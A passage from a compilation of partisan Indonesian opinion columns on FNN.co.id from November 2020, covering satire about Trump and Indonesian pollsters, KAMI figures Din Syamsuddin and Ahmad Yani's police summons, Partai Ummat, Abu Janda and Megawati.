unggul 3 poin saja yaitu 49%-46%. Trump juga tidak menyewa buzzerUS$. Begitu pula Biden. Bukan hanya mereka, capres-capres terdahulu pun tidak pernah menyewa buzzerUS$. Kalau sekiranya Trump ingin supaya angka polling dia tetap tinggi, tentu dia bisa minta bantuan LSI Danny JA dan lembaga-lembaga survey lain yang konon selalu sukses memenangkan calon-calon di pemilu. Tidak tanggung-tanggung. Ada belasan lembaga survey di Indonesia yang bisa membahagiakan para capres dan caleg. Ada Indo Barometer, ada SMRC, Poltracking Indonesia, dlsb. Jangan lupa, ada Charta Politika Indonesia, Cyrus Network, Indikator Politik Indonesia. Banyak lagi dan banyak sekali. Di satu sisi, agak ‘bodoh’ juga Trump tidak menggunakan LSI Denny JA atau yang lain-lain itu. Sayang sekali. Sekarang sudah terlambat. Tetapi, belum tentu juga terlambat. Sebab, LSI Denny JA, SMRC, Indo Barometer, dsb, bisa saja diminta untuk melakukan ‘quick count’ (QC) alias hitung cepat. Hari ini pemilih mendatangi TPS di Amerika. Besok (4/11/220), LSI Denny dan yang lain-lain bisa langsung tampilkan hasil QC untuk Trump di MetroTV milik Surya Paloh. Kalau Biden unggul di QC televisi-televisi Amerika, maka Trump bisa protes. Trump bisa bilang, “Di QC MetroTV oleh lembaga-lemabag survey Indonesia, khususnya LSI Denny JA Cs, saya unggul 54%-46%. Saya protes.” Setelah itu, Trump minta bantuan KPU. Dia bisa telefon langsung Arief Budiman. Tak seberapalah itu bagi Trump. Yang penting, sistem input KPU yang canggih itu bisa menyelamatkan muka Donald. KPU bisa mengumumkan hasil final QC dan hitung manual Biden vs Trump di tengah malam, seperti hasil pilpres 2019 tempohari.[] Penulis adalah Wartawan Senior FNN.co.id.

Awas Hoax Penghargaan Transportasi Jakarta

by Asyari Usman Jakarta FNN - Selasa (03/11). awan-kawan netizen harus berhati-hati membagikan berita tentang penghargaan transportasi terbaik di dunia untuk Jakarta. Kalau Anda mau membagikan berita tentang prestasi Gubernur Anies Baswedan itu harus menyertakan kalimat “dirintis oleh Jokowi-Ahok”. Kalau tidak mencantumkan itu maka yang Anda bagikan berpotensi masuk kategori hoax. Mengapa hoax kalau tidak menyebut “rintisan Jokowi-Ahok”? Karena jurubicara presiden, Tuan Fadjroel Rahman, mengatakan bahwa prestasi bidang transportasi di DKI yang mendapat penghargaan dari International Transportation and Development Policy (ITPD) adalah hasil rintisan Jokowi-Ahok ketika mereka memimpin Jakarta. Salah satu prestasi mereka adalah ratusan bus busway mangkrak menjadi bangkai. Nah, kalau jubir presiden sudah mengatakan begitu, itu tegas bermakna bahwa berita atau postingan tanpa menyertakan “rintisan Jokowi-Ahok” adalah hoax. Anda tentu sadar ancaman penyebaran hoax, bukan? Jika postingan Anda hanya menyebutkan prestasi Anies, bersiaplah Anda dilaporkan Fadjroel ke Badan Pelaksana Penjilatan Nasional (BPPN). Badan ini bertugas menggalakkan jilatan untuk orang-orang tertentu. Badan ini akan mengamati berita-berita tentang prestasi Gubernur Anies yang tidak mencantumkan label “rintisan Jokowi-Ahok”. Para pengguna medsos yang melanggar ketentuan tentang label itu paling rendah dihukum dengan penghangusan akun mereka. Jadi, berhati-hatilah membagikan berita tentang prestasi Anies Baswedan. Harus tanya dulu Tuan Fadjreol Rahman. Selalulah konfirmasi ke beliau. Atau tanya ke Menkominfo Johnny Plate. Kalau dia bilang hoax, maka hoax-lah itu.[] Penulis adalah Wartawan Senior FNN.co.id.

Fenomena Prof. DR. M. Din Syamsuddin

by Muhammad Chirzin Demi waktu sepanjang sejarah. Sungguh manusia benar-benar rugi. Kecuali mereka yang beriman dan mengerjakan kebaikan. Saling mengingatkan pada kebenaran. Saling mengingatkan pada kesabaran.(QS Al-'Ashr) Yogyakarta FNN – Selasa (03/11). Pak Din, demikian sapaan masyarakat kepada Guru Besar Politik Islam Global Fakultas Ilmu Sosial dan Ilmu Politik Univresitas Islam Negeri (FISIP UIN) Jakarta ini. Pak Din muda yang lahir pada 31 Agustus 1958 ini telah aktif berkecimpung di organisasi. Ketika masih di kampung halaman Sumbawa, dia menjadi Ketua Ikatan Pelajar Nahdlotul Ulama. Merantau ke pulau Jawa Pak Din nyantri di Pondok Modern Darussalam Gontor Ponorogo Jawa Timur, tempat Dr (HC) KH Idham Kholid, Prof. Dr. Nurcholish Madjid, Dr (HC) KH Hasyim Muzadi, Cak Nun, Dr. Hidayat Nur Wahid, Kiai Lukman Hakim Saifuddin, dan Dr. Yudi Latif menuntut ilmu. Pak Din kakak kelas penulis tiga tahun. Wajar bila alumni Gontor ada yang menjadi Ketua PB NU, Ketua PP Muhammadiyah. Ada juga Ketua Umum Partai Politik berbasis Islam, maupun menjadi Menteri Agama dan tokoh masyarakat. Karena mereka dididik untuk menjadi perekat umat, dengan semboyan mau dipimpin dan siap memimpin. Disamping itu, Pondok Gontor memiliki semboyan, "di atas dan untuk semua golongan". Pondok Gontor tidak berafiliasi pada salah satu organisasi sosial keagamaan tertentu. Prof. Din Syamsuddin tercatat pernah menjadi Ketua Umum Pimpinan Pusat Pemuda Muhammadiyah selama dua periode setelah periode M. Habib Chirzin, Ketua Umum PP Muhammadiyah. Juga Ketua Umum Majelis Ulama Indonesia(MUI) Pusat, sebelum periode Prof. Dr. (HC) Ma'ruf Amin. Prof. M. Din Syamsuddin adalah konseptor dari Negara Pancasila sebagai “Darul Ahdi was Syahadah” (Negara Kesepakatan dan Kesaksian). Konsep tersebut disampaikan Pak Din pada Pidato Kebangsaan 18 Agustus 2011 di PP Muhammadiyah, dan Pidato 1 Juni 2012 di MPR. Prof. M. Din Syamsuddin adalah penggagas Khilafah Peradaban. Bukan Khilafah Politik, dalam konteks keislaman, kekinian, dan keindonesiaan. Pak Din Syamsuddin menjadi Ketua Dewan Penasihat MUI Pusat sejak 2015, dan Ketua Centre for Dialogue and Cooperation among Civilization (CDCC) sejak 2007. Pak Din juga aktif di berbagai organisasi tingkat internasional, antara lain sebagai Ketua World Peace Forum (2006-sekarang), Co-President of World Conference of Religions for Peace (WCRP) USA (2006-sekarang), President Moderator of Asian Conference of Religions for Peace (ACRP) Japan (2007-sekarang), dan Advisory Forum of King Abdul Aziz Centre for Interreligious and Intercultural Dialogue (KACIID) Austria (2015-sekarang). Bersama Jenderal Gatot Nurmantyo dan Prof. Dr. Rochmat Wahab, Pak Din menjadi Trio Presidium Koalisi Aksi Menyelamatkan Indonesia (KAMI). Bersama mereka para deklarator terdiri atas tokoh-tokoh nasonal yang berasal dari berbagai latar belakang profesi, pendidikan, sosial, politik, maupun keagamaan yang mempunyai kepentingan dan kepedulian sama, yaitu menyelamatkan Indonesia dengan meluruskan Kiblat Bangsa. Masyarakat yang peduli telah mendeklarasikan KAMI di berbagai propinsi, kabupaten maupun kota, bahkan di Amerika dan Australia. Atas gerak dan langkah KAMI sebagai gerakan moral, berbagai pihak merasa tidak nyaman dan terganggu kepentingannya. Terbukti, usaha deklarasi KAMI di beberapa daerah dirintangi dan digagalkan. Deklarasi KAMI terakhir yang dibubarkan oleh aparat keamanan adalah di Jambi (Jum'at, 30/10/2020) setelah Prof. Dr. Rchmat Wahab menyampaikan orasi. Jenderal Gatot batal menyampaikan orasi sebagai salah seorang dari Tiga Serangkai Presidium KAMI, sekalipun beliau telah tiba di lokasi. KAMI juga dituduh sebagai gerakan politik berbaju moralitas yang berkepentingan dengan jabatan dan kekuasaan. Siapa pun yang menyimak naskah piagam deklarasi KAMI dengan saksama, tidak akan menemukan orientasi politik, jabatan, dan kekuasaan yang dituduhkan. Atas segala tuduhan miring tersebut, Pak Din tak segan-segan menyatakan pandangannya secara tegas dan lugas kepada siapa saja, termasuk kepada Jenderal Moeldoko. Belakangan beredar info di media sosial bahwa Pak Din dilaporkan oleh pihak yang mengatasnamakan Alumni ITB kepada yang berwajib dengan tuduhan melakukan enam pelanggaran. Masyarakat luas patut bertanya. Pertama, mengapa mereka segelintir Alumni ITB begitu getol ingin menggusur Prof. M. Din Syamsuddin? Setelah gagal menggusurnya dari keanggotaan Majelis Wali Amanat (MWA) ITB, karena ditolak mayoritas alumni lain, mereka kini melaporkan Pak Din ke BKN dan KASN dengan tuduhan melanggar Kode Etik Aparatur Sipil Negara (ASN). Mereka menamakan diri Gerakan Anti Radikalisme, tetapi sikapnya justru radikal dan ekstrem (melampaui batas). Kedua, tentang keanggotaannya di MWA ITB. Sebenarnya sejak Ramadhan/Mei 2020 lalu Prof. M. Din Syamsuddin sudah mengembalikan amanat ke Senat Akademi ITB yang mengundang dan memilihnya menjadi Anggota MWA. Baginya, di tengah jabatan yang banyak di tingkat nasional maupun internasional, jabatan di MWA ITB dianggap mulia, namun kalau tidak efektif dan kondusif, lebih baik dikembalikan kepada pemberi amanat, yakni Senat Akademik ITB. Ketiga, kalau sekarang kaum radikal itu mau menggusurnya dari status ASN (Prof. Din adalah Dosen/Guru Besar ASN di UIN Jakarta), maka jika dipecat Prof. Din tak akan rugi dan kariernya pun tak akan berhenti. Banyak universitas di luar negeri yang mau menerimanya sebagai Visiting Professor. Bahkan 170-an Perguruan Tinggi Muhammadiyah yang tersebar di seluruh Indonesia insya Allah siap menampungnya. Tetapi jelas, UIN Jakarta akan kehilangan seorang Guru Besar satu-satunya di Prodi Hubungan Internasional FISIP UIN Jakarta. Keempat, apa yang dicari oleh kaum radikal itu? Apakah mereka membawa kepentingan rejim yang merasa terganggu dengan kritisisme Prof. Din selama ini? Ataukah ada kepentingan yang lain dari pertarungan ideologis di ITB antara yang pro kepentingan Islam dan kelompok yang anti? Demokrasi tentu saja membutuhkan dialog. Pemerintah memerlukan oposisi sebagai pengontrol aksi dan tata kelola pemerintahan yang baik dan benar. Demokrasi juga memberikan ruang ekspresi dan kebebasan akademik yang bertanggung jawab. Penulis adalah Alumni Pondok Modern Gontor.

Partai Ummat Untuk Siapa?

by Agung Mozin Jakarta FNN – Selasa (03/11). Selama pendemi covid-19 ini, banyak waktu luas yang digunakan untuk membaca kembali buku-buku lama yang sudah mulai kusam termakan waktu. Diantaranya dari buku kumpulan tulisan Mohamad Sobari sebelum tahun 1998 yang mengkritik kekuasaan orde baru, menarik perhatian saya. Kebetulan saya sepakat dengan beberapa pemikirannya Mohmad Sobari, karena mempunyai relevansi dengan kehadiran Partai Ummat saat ini yang dibidai oleh Amien Rais. Bahwa gagasan pendirian Partai Ummat mengembangkan rumusan politik “Islam Rahmatan Lil Alamin” adalah sebutan lain dari politik berwawasan kemanusiaan. Mengapa demikian, karena semaraknya berbagai tindakan kekerasan belakangan ini. Pemaksaan hak-hak politik dan ekonomi. Kehidupan budaya di kalangan rakyat, dan kerusuhan-kerusuhan massal sejak menjelang pemilu dan hingga sesudah pemilu berlangsung-sudah kita pahami bersama. Kondisi ini sama seperti yang terjadi ketika rezim orde baru. Yang memimpin dengan tangan besi. Kita akhirnya mungkin tiba pada kesepakatan, bahwa semua itu merupakan manifestasi dari kebangkrutan struktural kita. Khususnya karena tidak berfungsinya hukum sebagai mekanisme terbaik untuk mengatur tata kehidupan sosial dan politik kita. Pertanyaannya, kepada siapakah gagasan Islam Rahmatan Lil Alamin ini diperuntukan? Apakah ditujukan kepada mereka yang memegang kendali dan menentukan merah dan hijaunya seluruh bangsa dan negara berkode +62 ini? .......Tentu jawabannya tidak mungkin. Karena dianggap lahirnya Partai Ummat sebagai sikap kritis terhadap penyelenggara negara yang telah memilih jalan politik sangat liberal, dan menjauhkan ummat dari nilai-nilai langitan Malahan saat ini, sikap kritis langsung dicurigai sebagai gerakan radikal. Sikap kritis juga dianggap sebagai intoleran yang tidak sesuai dengan format Pancasila yang diklaim secara sepihak. Sikap rezim antikritik akan melembaga dalam politik kita. Sehingga tanpa kita sadari diam-diam politk kita semakin menjauh dan tertutup dari jangkauan rakyat. Rakyat dijauhkan dari proses pengambilan keputusan politik penting. Lembaga politik di parlemen yang semestinya menjadi perwakilan suara rakyat telah berubah menjadi tukang stempel maumaunya rezim. Parlemen kini telah terbentuk dinding tebal yang memisahkan rakyat dengan pemerintah atau rezim. Jika begini persoalannya, maka kita sudah bisa menarik sebuah kesimpulan awal bahwa gagasan untuk mendirikan Partai Ummat berasaskan Islam Rahmatan Lil Alamin bukan barang yang mereka perlukan sebagai balance of power. Bahkan mungkin saja yang tidak diperlukan, karena di mata mereka, hanya untuk menghambat dan mengganggu mereka. Seindah dan sebagus apapun konsep anti kezhaliman, dan menegakan keadilan yang datangnya dari langit sekalipun, akan menjadi barang aneh dan beban untuk penguasa. Kebenaran apapun yang kita sampaikan untuk keselamatan ummat manusia di negeri zone +62 ini, sungguh sangat tidak menarik mereka mata dan telingan yang berkuasa. Apakah kemudian kita kecewa dan pesimis? Atau kehilangan gairah untuk mengembangkan Partai Ummat dengan gerakan politik yang berwawasan kemanusian? Yang secara lugas dicantumkan sebagai azas Partai Ummat adalah Islam Rahmatan Lil Alimin? Jawabanya tentu tidak, karena gagasan Islam Rahmatan Lil Alamin lebih relavan dan sangat dibutuhkan rakyat saat ini. Islam Rahmatan Lil Alimin dibutuhkan sebagai tata perpolitikan yang memberikan pilihan lain atas tata kelola politik yang sangat liberal dan kapitalistik alias. Tata kelola yang menghalalkan segala cara. Artinya rakyat lebih terpanggil memberikan sumbangan dalam pengaturan ulang tata perpolitikan dit ingkat bawah. Katakan di desa-desa atau diruang-ruang terbatas diluar teropong radar kekuasaan yang arogan Inilah mungkin makna membangun politik berazaskan Islam Rahmatan Lil Alamin. Karena real politik kita telah ditinggalkan oleh nilai kemanusiaan, keadilan dan kebenaran. Politik kita berjalan tanpa landasan, pijakan. Pelindungnya juga mungkin rapuh. Hanya pada tingkat individu atau khususnya di lapisan bawah, nilai-nilai dari langitan masih dipertahankan hidup, sehingga kemanusiaan, keadilan dan kebenaran tadi masih memberi energi budaya yang diperlukan Partai Ummat. Partai Ummat dengan azas Islam Rahamatan Lil Alamin sebenarnya sebagai upaya penyelamatan struktur bawah anak bangsa. Sekaligus wajud pemihakan lebih kuat kepada rakyat, dan bukan pada pemerintah yang telah membangun tembok tebal yang dijaga aparat yang buta mata dan buta hatinya dari jeritan ummatnya. Politik kita sekarang sangat keras, dan galak. Karena dibangun diatas logika kekuasaan. Kekuatan akan cenderung beroperasi demi kekuasaan itu sendiri, sama seperti status quo kita saat itu. Apalagi jika pemegangngnya makin lama makin takut kehilangan kekuasaan. Dalam situasi seperti itu, partai-partai politik yang diharapkan memperjuangkan politik yang adil, jujur dan berwawasan kemanusiaan tak mungkin tampil terbuka. Tidak juga memihak kepada kebutuhan rakyat. Malah sebaliknya, lebih tunduk dan melayani selera kekuasaan semata. Namun kita tidak boleh lupa. Saya pastikan bahwa kecenderungan macam itu akan otomatis lenyap bersama dengan terjadinya pergantian kekuasaan. Dalam jangka pendek, terutama di masa hangat-hangatnya semangat kebersamaan ummat melakukan perubahan. Jika kekuasaan abai dan lalai, maka makin lama kita tergiring dalam putaran yang sama. Ketika penguasa makin mapan, kita bakal dipaksa menjadi orang yang bersifat konservatif, anti perubahan dan gandrung kemapanan. Apalagi bila kemapanan itu lebih membenarkan rasa takut kita kepada kekerasan negara. Kehadiran Partai Ummat dapat dijadikan sebagai momentum politik kebangkitan rakyat. Didorong oleh segala kekuatan orang-orang biasa. Dari pojok-pojok perkampungan dan desa-desa yang jauh di sana. Mereka juga sebagian besar orang-orang kota yang merindukan Islam Rahmatan Lil Alimin tanpa diskriminasi kepada etnis dan agama apapun sebagai etalase politik baru. Kanal politik yang bisa menghadirkan pemerintah yang adil, tanpa kezhaliman. Penulis adalah Pemerhati Politik dan Kemasyarakatan.

Abu Janda Versus Pak Jokowi

by M Rizal Fadillah Jakarta FNN - Selasa (03/11). Abu Janda baru saja "acting" di Cafe Paris makan-makan sambil menyalahkan umat Islam bahkan dunia yang marah atas penghinaan Nabi Muhammad SAW melalui karikatur Charli Hebdo. Janda sok manusiawi menyatakan umat Islam harus memaafkan penghina Nabi. Ini ajaran Nabi, katanya asbun. Tidak lama kemudian Presiden Jokowi bersama pemuka agama menyatakan kecaman kepada Pemerintah Prancis atas karikatur penistaan Nabi Muhammad SAW itu. Abu Janda penjilat dan penggoreng umat kena skak mat oleh pernyataan tersebut. Terbayang wajah ruwetnya. Blepotan. Sebelumnya, Abu Janda pernah mengungkapkan hal yang menghebohkan bahwa agama teroris adalah Islam. Ucapan yang berujung pada pelaporan Kepolisian ini dapat dikualifikasikan penistaan. Namun Janda memang "mainan" dan "peliharaan" sehingga kasusnya tidak jelas. Lagi-lagi Presiden menyatakan bahwa mengaitkan agama dengan terorisme adalah kesalahan besar. Ini berkaitan dengan kecaman pada Presiden Prancis Emmanuel Macron. Artinya Abu Janda ikut terpukul soal agama teroris adalah Islam. Rupanya ada fenomena menarik yakni pertarungan Abu Janda versus Pak Jokowi. Entah ini pertarungan antar kelas atau sekelas, tapi keduanya memang dari satu kubu atau satu sasana. Kubu status quo.Oleh karena kini ada beda visi soal Macron dan terorisme, maka semestinya Pak Jokowi melaporkan Abu Janda agar diproses hukum. Abu Janda menentang dan mengganggu Presiden. Kemarin umat Islam melakukan aksi di depan Kedutaan Besar Prancis. Kegiatan yang semestinya mendapat dukungan Presiden karena sejalan dengan pernyataannya. Umat Islam mengutuk sikap Presiden Emmanuel Macron yang membiarkan karikatur penghinaan kepada Nabi Muhammad SAW. Jika Abu Janda tidak mencabut ocehan yang mengejek para pengecam Macron maka ia harus ciut mengkerut dan lari blingsatan seperti tikus cerurut karena yang ia ocehkan dan ejek itu adalah Presiden idola dan kecintaannya sendiri. Rakyat sedang melihat episode lanjutan dari pertarungan antara Abu Janda versus Jokowi. Moga jab, hook, upper cut membuat Abu Janda sempoyongan. Meskipun biasanya ditolong oleh bel akhir ronde. Tapi "acting" Abu Janda juga sering membuat Presiden sempoyongan. Nah hasil pertarungan Abu Janda versus Pak Jokowi baiknya seri-seri saja lah agar adil. Lagi pula mereka kan sama-sama satu boxing camp ini. Penulis adalah Pemerhati Politik dan Kebangsaan

Analisis Yuridis Pemanggilan Dr. H. Ahmad Yani, S.H., M.H.

by Dr. H. Abdul Chair Ramadhan, S.H., M.H. Jakarta FNN - Selasa (03/11). Pemanggilan seseorang sebagai saksi dalam proses penyidikan tentu sebelumnya telah ada suatu peristiwa yang telah ditetapkan sebagai tindak pidana dalam tahap penyelidikan (Pasal 1 angka 5 KUHAP). Keberadaan saksi diperlukan dalam hal pengumpulan alat bukti yang dengan alat bukti itu membuat terang suatu tindak pidana yang terjadi dan guna menemukan tersangkanya (Pasal 1 angka 2 KUHAP). Dalam hal membuat terang suatu tindak pidana yang terjadi, maka keterangan saksi harus sesuai dengan kondisi yang dialaminya, baik ia mendengar secara langsung atau melihat secara langsung. Seorang saksi juga harus menyebutkan alasan dari pengetahuan yang ia alami tersebut. Seorang saksi yang dihadirkan dalam proses penyidikan dan persidangan sejatinya yang bersangkutan tidaklah mewakili kepentingan siapapun, melainkan ia mewakili suatu kondisi ketika terjadinya suatu tindak pidana. Tegasnya, saksi mewakili kenyataan konrit dan dengannya ia memberikan keterangan sesuai dengan kenyataan yang sebenarnya terjadi. Dapat dikatakan, saksi tersebut seolah-olah dihadirkan seperti dalam keadaan sebelumnya, ketika ia mengetahui adanya suatu perkara pidana baik yang ia dengar sendiri, ia lihat sendiri dan ia alami sendiri. Dengan demikian, keberadaan seorang saksi sebagai salah satu alat bukti (Pasal 184 KUHAP) bersifat fakultatif. Sepanjang memenuhi kriteria tersebut, maka keterangannya dapat menjadi alat bukti. Terhadap pemanggilan Dr. H. Ahmad Yani, S.H., M.H., sebagai saksi oleh pihak Bareskrim Polri, diketahui terdapat beberapa tindak pidana, namun tidak disebutkan dalam kepentingan pada perkara siapa. Sementara itu, Laporan Polisi dan Sprindik diketahui pada tanggal yang sama yakni 18 Oktober 2020. Tindak pidana yang dimaksudkan adalah Pasal 45 Ayat (2) jo Pasal 28 Ayat (2) Undang-Undang tentang Informasi dan Transaksi Elektronik (UU ITE) dan/atau Pasal 14 Ayat (1) dan (2) dan/atau Pasal 15 Undang-Undang Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana (UU PHP) dan/atau Pasal 160 KUHP jo Pasal 55 KUHP. Konstruksi tindak pidana tersebut perlu dikritisi, mengingat masing-masingnya terdapat perbedaan yang signifikan. Selain itu masuknya delik penyertaan (deelneming) memiliki implikasi tersendiri bagi penerapan pasal yang disebutkan. Oleh karena itu, disini dipertanyakan adakah persintuhan diantara pasal tersebut, dan tentunya persintuhan tersebut tidak sampai pada perbarengan (concursus). Pasal 28 Ayat (2) UU ITE mempersyaratkan harus adanya (timbul) rasa kebencian atau permusuhan terhadap individu dan/atau kelompok masyarakat tertentu berdasarkan atas suku, agama, ras, dan antargolongan (SARA). Jadi, apakah sudah ada timbulnya kebencian atau permusuhan sebagaimana dimaksudkan? Siapakah individu dan/atau kelompok masyarakat yang merasakan kebencian atau permusuhan? Suku yang mana, agama yang mana, ras yang mana dan antargolongan yang mana. Pengertian antargolongan tidak dapat diartikan sebagai Pemerintah, Ormas, Partai Politik dan badan hukum lainnya. Pada Pasal 14 Ayat (1) dan (2) UU PHP tentang berita atau pemberitahuan bohong, maka harus ada relevansinya dengan Pasal 28 Ayat (2) UU ITE dalam hal timbulnya rasa kebencian atau permusuhan berdasarkan SARA. Terlebih lagi, Pasal 14 Ayat (1) mempersyaratkan harus timbulnya keonaran di kalangan rakyat. Pertanyaannya, apakah telah nyata ada keonaran tersebut? Begitu pun Pasal 15 juga harus ada keterhubungannya dengan Pasal 28 Ayat (2) ITE. Apakah ada kaitan antara penyiaran kabar yang tidak pasti atau kabar yang berkelebihan atau yang tidak lengkap, yang dapat menerbitkan keonaran di kalangan rakyat, dengan timbulnya rasa kebencian atau permusuhan berdasarkan SARA. Di sisi lain keberlakuan Pasal 14 Ayat (1) dan Ayat (2) UU PHP berpasangan, masing-masingnya tidak berdiri sendiri. Kemudian, dalam delik penghasutan sebagaimana dimaksudkan dalam Pasal 160 KUHP juga patut dipertanyakan. Keberadaannya sama dengan Pasal 28 Ayat (2) UU ITE dan Pasal 14 Ayat (1) UU PHP, yakni sama-sama delik materiil. Putusan Mahkamah Konstitusi Nomor 7/PUU-VII/2009 menyatakan bahwa Pasal 160 KUHP adalah conditionally constitutional dalam arti konstitusional sepanjang ditafsirkan sebagai delik materiil. Oleh karena itu, apakah telah ada akibat sebagaimana dimaksudkan. Lebih lanjut, adakah korelasi antara Pasal 160 KUHP dengan Pasal 28 Ayat (2) UU ITE? Dimana letak keterhubungannya? Perihal permasalahan keterhubungan selanjutnya juga menunjuk Pasal 14 Ayat (1) dan (2), serta Pasal 15 UU PHP dengan Pasal 160 KUHP. Tegasnya, kesemua pasal tersebut harus memiliki hubungan ‘emosional’. Hubungan itu mencerminkan sikap batin (men rea) seseorang pembuat delik terhadap perbuatan yang dilakukan. Terlebih lagi disebutkan adanya penyertaan, sebagaimana dimaksud dalam Pasal 55 Ayat (1) KUHP. Keberlakuan delik penyertaan adalah sebagai bentuk perluasan pertanggungjawaban pidana, bukan dimaksudkan sebagai perluasan perbuatan pidana. Dengan demikian, sifatnya alternatif sebagaimana disebutkan dalam angka ke-1 dan angka ke-2. Dalam Surat Pemanggilan tersebut tidak disebutkan klasifikasi penyertaan, apakah termasuk angka ke-1 atau angka ke-2. Angka ke-1 menunjuk orang yang melakukan (pleger), orang yang menyuruh melakukan (doen plegen) atau orang yang turut melakukan (medepleger). Pada angka ke-2 adalah orang yang dengan pemberian, perjanjian, memberi kesempatan dan lain sebagainya (uitlokker). Dalam kaitannya dengan pemanggilan tersebut, maka dipertanyakan urgensi pemanggilan dengan klasifikasi delik penyertaan tersebut. Pemanggilan yang demikian cepat, tidaklah lazim dan tidak equal dengan perkara yang lainnya. Banyak perkara yang dilaporkan, namun hingga kini tidak jelas kelanjutannya. Dapat disebutkan disini yakni; Cornelis (eks Gubernur Kalbar), Viktor Laiskodat, Abu Janda, Denny Siregar, Guntur Romli, Budi Djarot dan Ade Armando. Dari uraian di atas menunjukkan bahwa pemanggilan terhadap Dr. H. Ahmad Yani, S.H., M.H., sebagai saksi masih belum jelas objek perkaranya. Seseorang yang dimintakan keterangan sebagai saksi, maka harus ada pengetahuan yang ia alami sendiri. Pengetahuan tersebut pastinya berkorespondensi dengan objek perkara. Bagaimana mungkin seorang saksi dapat memberikan keterangan dan bernilai alat bukti tanpa ada kejelasan objek perkara yang dirinya tidak ada pengetahuan sama sekali. Patut untuk dicermati, UU ITE - sebagai dasar pemanggilan - apakah akan berkorespondensi dengan para aktivis KAMI lainnya yang telah berstatus Tersangka? Berdasarkan kajian ilmiah penulis, UU ITE berlaku seperti ‘sangkar besi’ dengan ‘silogisme’ yang cenderung dipaksakan. Pemenuhan unsur delik demikian subjektif, pada akhirnya Penuntut Umum tidak mampu mengkonstruksikan Surat Dakwaan secara cermat dan lagi objektif. Wallahu ‘alam. Penulis adalah Direktur HRS Center

Bu Mega Tak Perlu Gelisah

by M. Rizal Fadillah Jakarta FNN – Senin (02/100. Membela diri dengan membantah dirinya Partai Komunis Indonesia (PKI), kemudian melabrak milenial yang berdemo, lalu menuduh pendemo sebagai pembakar halte adalah berlebihan. Kasihan juga mbak Mega. Selalu saja sewot dan marah-marah. PDIP adalah partai penguasa tetapi seperti oposisi sikap politiknya. Lalu sebenarnya ada masalah serius apa? Empat alasan mengapa Megawati dan PDIP perlu disorot. Pertama, tuduhan PKI dan bantahan muncul saat Menteri Luar Negeri (Menlu) Amerika Serikat Michael Pompeo datang ke Indonesia. Apalagi Pompeo mengingatkan tentang peran Partai Komunis Cina (PKC) di Indonesia serta bahayanya. Mega terlihat bersinggunggan dengan tuduhan PKI wajar, karena PDIP memiliki kader elemen kiri sebagaimana terindikasi dan pengakuan kader PDIP Arteria Dahlan. Masih banyak lagi seperti Ribka Tjiptaning yang terang-terangan menyatakan bangga menjadi anak PKI. Kedua, kuatnya nuansa Orde Lama dalam rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Wajar pula karena RUU HIP diinisiasi oleh kader-kader PDIP. Sebagaimana publik berargumen dalam berbagai aksinya telah mengaitkan isi RUU ini dengan faham komunisme. Meskipun telah berganti nama menjadi RUU Badan Pembinaan Ideologi Pancasaila (BPIP). Namun posisi RUU HIP kini tetap mengambang. Memperpanjang tuduhan tersebut. Jadi tidak perlu semot-semotan. Ini hanya reaksi terhadap siapa buarat apa? Lalu akan mendapatkan apa? Ketiga, mempertanyakan prestasi milenial. Dengan menuduh milenial sama saja dengan menohok siswa atau mahasiswa yang berunjuk rasa. Pasti ada serangan balik dengan mempertanyakan adakah prestasi Megawati selama jadi Presiden maupun Ketum partai "wong cilik"? Biasa-biasa saja tuh. Malah nyata-nyata miskin prestasi, jika tidak ingin disebut dengan wanprestasi. Keempat bakar-bakar halte. Sudah viral kalau yang membakar halte itu bukan pengunjuk rasa, baik buruh ataupun mahasiswa. Tetapi gerombolan peliharaan. Nah mereka itu peliharaan siapa? Disitulah masalahnya. PDIP harus teriak agar segara diusut tuntas siapa saja aktor dibalik gerombolan para pemfitnah jahat tersebut. Aksi penyelundupan aksi harus dihentikan oleh seruan Megawati sebagai tokoh yang berpengaruh. Kini Megawati gelisah, apakah karena Jokowi sudah tak bisa menjadi petugas partai lagi? Utaukah karena PDIP yang terus diserang atau dibully, sementara Jokowi hanya bisa diam saja? Nampaknya tidak ada pembelaan sama sekali dari Jokowi. Ada tendensi munculnya partai atau kekuatan lain yang lebih mampu mengendalikan Jokowi ketimbang Megawati sebagai komandan dari "the ruling party". Mudah-mudahan saja ini bukan yang menjadi penyebab utana Megawati marah-marah. Ujungnya memang persoalan Pilpres 2024 yang memang mulai menggelisahkan. Disamping popularitas Anies dan Gatot terus meningkat tidak terbendung, sementara di internal PDIP Puan Maharani atau Budi Gunawan yang digadang-gadang, ternyata sulit merangkak naik. Kejutan justru nama Gubernur Jawa Tengah Ganjar Pranowo yang lebih berkibar. Mega memang sedang dirundung malang. Tiga hal yang dapat dilakukan untuk memulihkan dan merekonstruksi . Pertama bersihkan PDIP dari kader atau anasir kiri yang sudah terbaca publik. Kedua revisi platform kekiri-kirian dari perjuangan partai yang tertuang dalam AD/ART dan prinsip perjuangan lainnya. Ketiga, jangan tempatkan kelompok agama sebagai musuh. Sebab disamping kontra-produktif, juga patut disadari bahwa bangsa Indonesia adalah masyarakat yang relijius dan anti sekularisme. Selamat merenung, tak perlu tergantung pada daya dukung otoritas Presiden yang fakta politiknya kini berada dalam keadaan yang tidak terlalu ajeg. Tingkat kepercayaan yang semakin merosot. Penulis adalah Pemerhati Politik dan Kebangsaan.

Dr. Ahmad Yani Dipanggil Penyidik, Apa Konsekuensinya?

by Dr. Margarito Kamis SH. MHum Barang siapa bisa menguasai nafsunya, ia menjadi lebih mulia daripada malaikat. Namun barang siapa nafsunya mengalahkan akalnya, ia sungguh lebih rendah dari binatang (Jalaludin Arumi, 1207-1273). Jakarta FNN – Sanin (02/11). Dr. Ahmad Yani, SH.MH, dipanggil penyidik. Yani akan diperiksa sebagai saksi. Pemanggilan tersebut terkait dengan dugaan perkara tindak pidana menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian dan permusuhan individu dan/atau kelompok berdasarkan Suku, Agama, Ras dan Antar Golongan (SARA) melalui media sosial. Kata Ahmad Yani, saksi itu kan orang yang mengetahui dan melihat peristiwa pidana. Tetapi sayangnya di surat itu tidak dijelaskan siapa tersangkanya? Dimana lokasinya? Cukup membingungkan memang, tetapi sebagai warga negara wajib hadir," jelasnya ((RMol, 1/11/2020). Pemeriksaan ini, normatifnya, merupakan kebutuhan penyidikan. Pasti dikerangkakan pada kebutuhan membuat kasus yang sedang disidik, bukan diselidiki, menjadi terang. Terang untuk dua hal, peristiwa pidananya dan pelakunya. Ini menarik untuk dianalisis. Kasus Hipotetik 